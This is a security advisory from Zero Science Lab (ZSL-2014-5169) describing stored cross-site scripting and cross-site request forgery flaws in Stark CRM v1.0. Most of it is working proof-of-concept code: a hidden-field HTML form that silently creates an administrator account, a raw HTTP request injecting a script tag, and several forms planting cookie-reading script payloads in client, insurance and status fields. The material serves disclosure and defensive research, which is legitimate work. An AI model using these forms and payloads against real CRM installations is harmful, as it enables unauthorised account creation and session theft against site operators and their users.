170 lines
No EOL
5.9 KiB
Text
170 lines
No EOL
5.9 KiB
Text
|
|
Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities
|
|
|
|
|
|
Vendor: IWCn Systems Inc.
|
|
Product web page: http://www.iwcn.ws
|
|
Affected version: 1.0
|
|
|
|
Summary: This is a light weight CRM which simplifies process
|
|
of managing staff, client and projects.
|
|
|
|
Desc: Multiple stored XSS and CSRF vulnerabilities exist when
|
|
parsing user input to several POST parameters. The application
|
|
allows users to perform certain actions via HTTP requests without
|
|
performing any validity checks to verify the requests. This
|
|
can be exploited to perform certain actions with administrative
|
|
privileges if a logged-in user visits a malicious web site and/or
|
|
execute arbitrary HTML and script code in a user's browser session.
|
|
|
|
Tested on: Nginx, PHP, MySQL
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2014-5169
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5169.php
|
|
|
|
|
|
03.02.2014
|
|
|
|
--
|
|
|
|
|
|
CSRF (Add Admin):
|
|
################
|
|
|
|
<html>
|
|
<!--
|
|
http://lab17.zeroscience.mk/testing/index.php?page=admin - Add Admin
|
|
http://lab17.zeroscience.mk/testing/index.php?page=agent - Add Agent
|
|
http://lab17.zeroscience.mk/testing/index.php?page=sub_agent - Add Sub-Agent
|
|
http://lab17.zeroscience.mk/testing/index.php?page=partner - Add Partner
|
|
http://lab17.zeroscience.mk/testing/index.php?page=client - Add Client
|
|
-->
|
|
<body>
|
|
<form action="http://lab17.zeroscience.mk/testing/index.php?page=admin" method="POST">
|
|
<input type="hidden" name="first_name" value="Admin101" />
|
|
<input type="hidden" name="last_name" value="Admin202" />
|
|
<input type="hidden" name="comp_name" value="Zero Science Lab" />
|
|
<input type="hidden" name="email" value="lab@zeroscience.mk" />
|
|
<input type="hidden" name="pwd" value="123456" />
|
|
<input type="hidden" name="phonep" value="(111) 111-1111" />
|
|
<input type="hidden" name="phoneg" value="(111) 111-1111" />
|
|
<input type="hidden" name="notes" value="Testing2 Address 101" />
|
|
<input type="hidden" name="zip" value="11111" />
|
|
<input type="hidden" name="ahv" value="11111" />
|
|
<input type="hidden" name="date" value="03.02.2014" />
|
|
<input type="hidden" name="gender" value="female" />
|
|
<input type="hidden" name="f_status" value="Married" />
|
|
<input type="hidden" name="detail" value="Testing3 personal detailz" />
|
|
<input type="hidden" name="submit" value="" />
|
|
<input type="submit" value="Submit form" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
|
|
|
Stored XSS (parameter: name):
|
|
############################
|
|
|
|
POST /testing/index.php?page=add_ticket HTTP/1.1
|
|
Host: lab17.zeroscience.mk
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://lab17.zeroscience.mk/testing/index.php?page=add_ticket
|
|
Cookie: PHPSESSID=51422dfc2ef2d3569e778d06d20c7a25
|
|
Connection: keep-alive
|
|
Content-Type: multipart/form-data; boundary=---------------------------94321629522129
|
|
Content-Length: 592
|
|
|
|
-----------------------------94321629522129
|
|
Content-Disposition: form-data; name="name"
|
|
|
|
"><script>alert(1);</script>
|
|
-----------------------------94321629522129
|
|
Content-Disposition: form-data; name="project"
|
|
|
|
1
|
|
-----------------------------94321629522129
|
|
Content-Disposition: form-data; name="description"
|
|
|
|
ZSL
|
|
-----------------------------94321629522129
|
|
Content-Disposition: form-data; name="file"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
-----------------------------94321629522129
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
|
|
-----------------------------94321629522129--
|
|
|
|
|
|
|
|
|
|
Stored XSS (parameters: first_name, last_name, notes):
|
|
#####################################################
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://lab17.zeroscience.mk/testing/index.php?page=client" method="POST">
|
|
<input type="hidden" name="first_name" value='"><script>alert(document.cookie);</script>' />
|
|
<input type="hidden" name="last_name" value='"><script>alert(document.cookie);</script>' />
|
|
<input type="hidden" name="comp_name" value="Zero Science Lab" />
|
|
<input type="hidden" name="email" value="lab@zeroscience.mk" />
|
|
<input type="hidden" name="pwd" value="test" />
|
|
<input type="hidden" name="phonep" value="(111) 111-1111" />
|
|
<input type="hidden" name="phoneg" value="(111) 111-1111" />
|
|
<input type="hidden" name="notes" value='"><script>alert(document.cookie);</script>' />
|
|
<input type="hidden" name="zip" value="00000" />
|
|
<input type="hidden" name="ahv" value="test2" />
|
|
<input type="hidden" name="date" value="03.02.2014" />
|
|
<input type="hidden" name="gender" value="male" />
|
|
<input type="hidden" name="f_status" value="Single" />
|
|
<input type="hidden" name="detail" value="test" />
|
|
<input type="hidden" name="submit" value="" />
|
|
<input type="submit" value="Submit form" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
|
|
|
Stored XSS (parameters: insu_name, price):
|
|
#########################################
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://lab17.zeroscience.mk/testing/index.php?page=add_insurance_cat" method="POST">
|
|
<input type="hidden" name="insu_name" value='"><script>alert(document.cookie);</script>' />
|
|
<input type="hidden" name="price" value='"><script>alert(document.cookie);</script>' />
|
|
<input type="hidden" name="submit" value="" />
|
|
<input type="submit" value="Submit form" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
|
|
|
Stored XSS (parameter: status[]):
|
|
################################
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://lab17.zeroscience.mk/testing/index.php?page=add_status" method="POST">
|
|
<input type="hidden" name="status[]" value='"><script>alert(document.cookie);</script>' />
|
|
<input type="hidden" name="submit" value="" />
|
|
<input type="submit" value="Submit form" />
|
|
</form>
|
|
</body>
|
|
</html> |